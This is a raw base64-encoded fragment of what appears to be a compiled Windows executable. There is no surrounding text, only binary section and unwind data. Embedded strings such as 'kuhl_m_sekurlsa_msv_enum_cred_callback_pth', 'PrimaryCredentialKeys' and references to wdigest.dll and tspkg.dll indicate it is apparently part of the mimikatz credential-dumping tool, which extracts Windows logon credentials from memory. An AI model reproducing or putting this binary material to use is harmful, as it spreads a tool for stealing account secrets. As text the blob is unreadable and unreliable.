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0MAAcZC8AHDQuABwBKgAV8BPgEcAAAAEUBgAUNA0AFFINcAxgC1ABGAgAGGQWABg0FQAY8g7gDHALUAEkCgAkNBkAJNId8BvgGdAXwBVwFGATUAEfDAAfdBcAH2QVAB80FAAf0hjwFuAU0BLAEFABHAwAHGQVABxUEwAcNBIAHLIY8BbgFNASwBBwARcIABdkDwAXVA4AFzQNABeSE3ABJAoAJDQUACSSHfAb4BnQF8AVcBRgE1ABCAIACHIEMAEYCgAYZBQAGFQTABg0EgAY0hTwEuAQcAEdDAAddAsAHWQKAB1UCQAdNAgAHTIZ8BfgFdABCgIACjIGMAETBAATNAYAEzIPcAEUCgAUNA0AFDIQ8A7gDNAKwAhwB2AGUAEPBgAPVAkADzQIAA9SC2ABIw0AI3QiACNkIQAjNCAAIwEaABjwFuAU0BLAEFAAAAEZCgAZNBYAGdIV8BPgEdAPwA1wDGALUAEfCQAfwhvwGeAX0BXAE3ASYBFQEDAAAAEZCgAZ5BMAGXQSABlkEQAZNBAAGdIV8AEgDAAgZBcAIFQWACA0FAAg0hzwGuAY0BbAFHABCgQACjQOAAqyBnABIgkAIuIb8BngF9AVwBNwEmARMBBQAAABHwwAH3QWAB9kFQAfNBQAH9IY8BbgFNASwBBQAR4KAB40FQAeshrwGOAW0BTAEnARYBBQARgKABhkDgAYVA0AGDQMABhyFPAS4BBwARUIABV0DgAVZA0AFTQMABWSEeABGQcAGTRYABkBVAAScBFgEFAAAAEUBgAUZA4AFDQMABSSEHABEggAElQPABI0DgAScg7gDHALYAEgDAAgZBMAIFQSACA0EQAgkhzwGuAY0BbAFHABGQoAGXQNABlkDAAZVAsAGTQKABlyFeABEAYAEGQNABA0DAAQkgxwAQoEAAo0CAAKUgZgARUIABV0CAAVZAcAFTQGABUyEeABIgoAInQLACJkCgAiVAkAIjQIACJSHuABCgQACjQMAAqSBnABEAYAEGQJABA0CAAQUgxwARIGABI0DwASkg5wDWAMUAEdBgAdNBEAHZIWcBVgFFABDAQADDQLAAxyCHABBgIABnICMAEKBAAKNAkAClIGcAEgDAAgZA8AIFQOACA0DAAgUhzwGuAY0BbAFHABHAUAHGIY4BZwFVAUMAAAARkKABlkFgAZNBUAGdIS4BD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wBGADUAIwAQ0EAA00EAAN0gZQARQHABQ0KgAUASYACHAHYAZQAAABEwgAEzQUABPSDPAK4AhwB2AGUAEcCwAcNCgAHAEgABDwDuAM0ArACHAHYAZQAAABIQoAIQEpABXwE+AR0A/ADXAMYAswClABJg0AJnROACZkTQAmNEwAJgFGABjwFuAU0BLAEFAAAAEaCQAaZBkAGjQYABoBFAAO4AxwC1AAAAEhCgAhNBMAIZIa8BjgFtAUwBJwEWAQUAEMBAAMNAgADFIIcAEeCgAeNBAAHnIa8BjgFtAUwBJwEWAQUAEgCgAgNA4AIFIZ8BfgFdATwBFwEGAPUAEiCgAiASUAFvAU4BLQEMAOcA1gDDALUAETCAATNAwAE1IM4ArACHAHYAZQARIIABJyC/AJ4AfQBXAEYAMwAlABHAoAHDQWABzSFfAT4BHQD8ANcAxgC1ABEwgAEzQPABNSDOAKwAhwB2AGUAEWBgAWZAsAFjQKABZSEnABDgQADjQHAA4yCnABFggAFjQWABbyDPAK4AhwB2AGUAESBgASdAkAEjQIABJSC1ABFwgAF3QKABdkCQAXNAgAF1IQUAEPBgAPNAwAD3IIcAdgBlABHAsAHDQcABwBFAAQ8A7gDNAKwAhwB2AGUAAAARUIABVkDQAVNAsAFVIO4AxwC1ABFwgAF3QRABdkDwAXNA4AF7IQUAEZCgAZZBMAGTQSABmyEvAQ4A7ADHALUAEiDAAixBcAInQWACJkFQAiNBQAIvIY8BbgFFABGgkAGmQjABo0IgAaAR4ADvAMcAtQAAABCgQACjQKAApyBnABFwcAF3QbABc0GgAXARgAC1AAAAEcDAAcZBIAHFQRABw0EAAckhjwFuAU0BLAEHABHwwAH8QRAB90EAAfZA8AHzQOAB+SGPAW4BRQAR8MAB9kFQAfVBQAHzQTAB+yG/AZ4BfQFcATcAEdCgAdNBMAHZIZ8BfgFdATwBFwEGAPUAEjDAAjdBQAI2QTACM0EgAjshzwGuAY0BbAFFABHAwAHGQNABxUDAAcNAoAHDIY8BbgFNASwBBwARcJABdkFwAXVBUAFzQUABcBEgAQcAAAARQHABQ0HAAUARgACHAHYAZQAAABGQoAGWQVABk0FAAZ0hLwEOAOwAxwC1ABFggAFmQRABY0EAAWsg/wDeALUAEjDQAjdBwAI2QbACM0GgAjARQAGPAW4BTQEsAQUAAAARsKABt0FAAbZBMAGzQSABvSFPAS4BBQARsLABtkGgAbVBkAGzQYABsBFAAU8BLgEHAAAAEeCwAeZB0AHjQcAB4BFgAS8BDgDsAMcAtQAAABIwsAI8QgACN0HwAjNB4AIwEaABjwFuAUUAAAARgIABhkFQAYNBQAGPIO4AxwC1ABKQsAKTQoACkBIAAe8BzgGtAYwBZwFWAUUAAAASMNACPEHwAjdB4AI2QdACM0HAAjARgAGPAW4BRQAAABJw0AJ3QqACdkKQAnNCgAJwEiABzwGuAY0BbAFFAAAAEaCAAadBQAGmQTABo0EgAa8hBQARsHABtkHwAbNB4AGwEcABRwAAABHwsAHzRmAB8BXgAQ8A7gDNAKwAhwB2AGUAAAAR8MAB90FwAfZBYAHzQVAB/SGPAW4BTQEsAQUAEaCQAaZCcAGjQmABoBIgAO4AxwC1AAAAEjDQAjxCMAI3QiACNkIQAjNCAAIwEcABjwFuAUUAAAARAGABBkEQAQNBAAENIMcAkUCQAUNFAAFAFKAA3wC+AJwAdwBmAAADBpBgABAAAAho0FAN+OBQDMZQgA344FAAEKAgAKcgYwARcIABdUCwAXNAoAF1IT4BFwEGABFQgAFWQNABU0CgAVUg7gDHALUAEcCgAcNBEAHFIV8BPgEdAPwA1wDGALUAESBgASdA8AEjQOABKyC1ABGQkAGTQ0ABkBLgAN8AvgCcAHcAZQAAABDQMADQFIAAZwAAABHQoAHQEdABHwD+AN0AvACXAIYAcwBlABGgIAGgEVAAEbCQAbdCkAG2QnABs0JgAbASQAEFAAAAEXAQAXogAAARgBABiiAAABGAkAGDQyABgBLAAM8ArQCHAHYAZQAAABDQQADTQMAA2SBlABHAsAHDQhABwBGAAQ8A7gDNAKwAhwB2AGUAAAAQYCAAbSAjABEggAElQLABI0CgASUg7gDHALYAEJAQAJ4gAAARIGABJ0CwASNAoAEnILUAEMBAAMNAoADHIIcAEVBgAVdBMAFTQSABXyC1ABEgYAEjQUABLyCHAHYAZQAQkCAAmyAlABEggAEjQOABJyDvAM4ApwCWAIUAEcCgAcdBUAHGQUABxUEwAcNBIAHPIV4AETCAATVAsAEzQKABNSD+ANcAxgARQIABRkEAAUNA8AFJIQ8A7gDHABEgYAEnQRABI0EAAS0gtQARUIABVkEwAVNBIAFdIO4AxwC1ABEAQAEDQSABDyBlABEQYAEfIH4AVwBGADMAJQARUIABVkEwAVNBAAFbIO4AxwC1ABDQQADTQKAA1yBlABGwkAGwEeAA/wDeAL0AnAB2AGMAVQAAABHgsAHmQtAB40LAAeASYAEvAQ4A7QDHALUAAAAQQBAATCAAABFQgAFWQSABU0EQAVsg7gDHALUAEZCgAZZBYAGTQVABnSEvAQ4A7ADHALUAETCAATZA4AEzQNABNyD/AN4AtwAR4LAB5kHwAeNB4AHgEYABLwEOAOwAxwC1AAAAEkCQAkdCAAJGQfACQ0HgAkARwAGVAAAAEUBwAUNBgAFAEUAAhwB2AGUAAAARIFABI0LAASASoABlAAAAEPAwAPARIABFAAAAEcCwAcNC4AHAEmABDwDuAM0ArACHAHYAZQAAABFwoAFzQRABdyEPAO4AzQCsAIcAdgBlABFQgAFWQSABU0EQAVsg7wDHALUAEbCgAbdA4AG2QNABs0DAAbchTwEuAQUAEXCQAXZBgAF1QXABc0FgAXARQAEHAAAAEaCQAaZBkAGlQYABo0FgAaARQAE3AAAAEfCwAfdBwAH2QbAB80GgAfARYAFPAS4BBQAAABGwkAG3QcABtkGwAbNBoAGwEYABBQAAABFwgAF3QSABdkEQAXNBAAF9IQUAEfDAAfxBMAH3QSAB9kEQAfNBAAH7IY8BbgFFABIQsAITQkACEBHAAV8BPgEdAPwA1wDGALUAAAASAKACA0FgAgshnwF+AV0BPAEXAQYA9QARQIABRkEAAUVA8AFDQOABSyEHABFwcAF3QlABc0JAAXASIAC1AAAAEZCgAZ5AsAGXQKABlkCQAZNAgAGVIV8AESBQASNCgAEgEmAAZQAAABEwYAE3QPABM0DgATsgxQERUIABV0CQAVZAcAFTQGABUyEeAwaQYAAQAAABNSBgCgUgYAKGYIAAAAAAARDwYAD2QIAA80BgAPMgtwMGkGAAEAAAA6UwYAWFMGAD9mCAAAAAAACRoGABo0DwAachbgFHATYDBpBgABAAAAvVMGAI1UBgBbZggAjVQGAAEGAgAGUgJQCQQBAAQiAAAwaQYAAQAAAMdXBgBVWAYAkWYIAFVYBgABAgEAAlAAAAENBAANNAkADTIGUAEVBQAVNLoAFQG4AAZQAAABDQQADTQHAA0yBlAAAAAAAQAAAAEPBgAPZAUADzQEAA8SC3AAAAAAAQAAABkmBQAVNFUAFQFSAAZQAAD8XQgAgAIAAAAAAAABAAAAAQUCAAV0AQABCQIACTIFMAAAAAABBwIABwGbAAEAAAABAAAAAQAAABkrDAAcZBEAHFQQABw0DwAcchjwFuAU0BLAEHD8XQgAOAAAABkkBwASZKIAEjShABIBngALcAAA/F0IAOAEAAAZLAkAGzSoABsBogAM8ArgCHAHYAZQAAD8XQgAAAUAABkyCwAhZKsAITSoACEBogAS8BDgDsAMcAtQAAD8XQgAAAUAAAEiCgAidAkAImQIACJUBwAiNAYAIjIe4AEPBAAPdAIACjQBABEPBAAPNAYADzILcDBpBgABAAA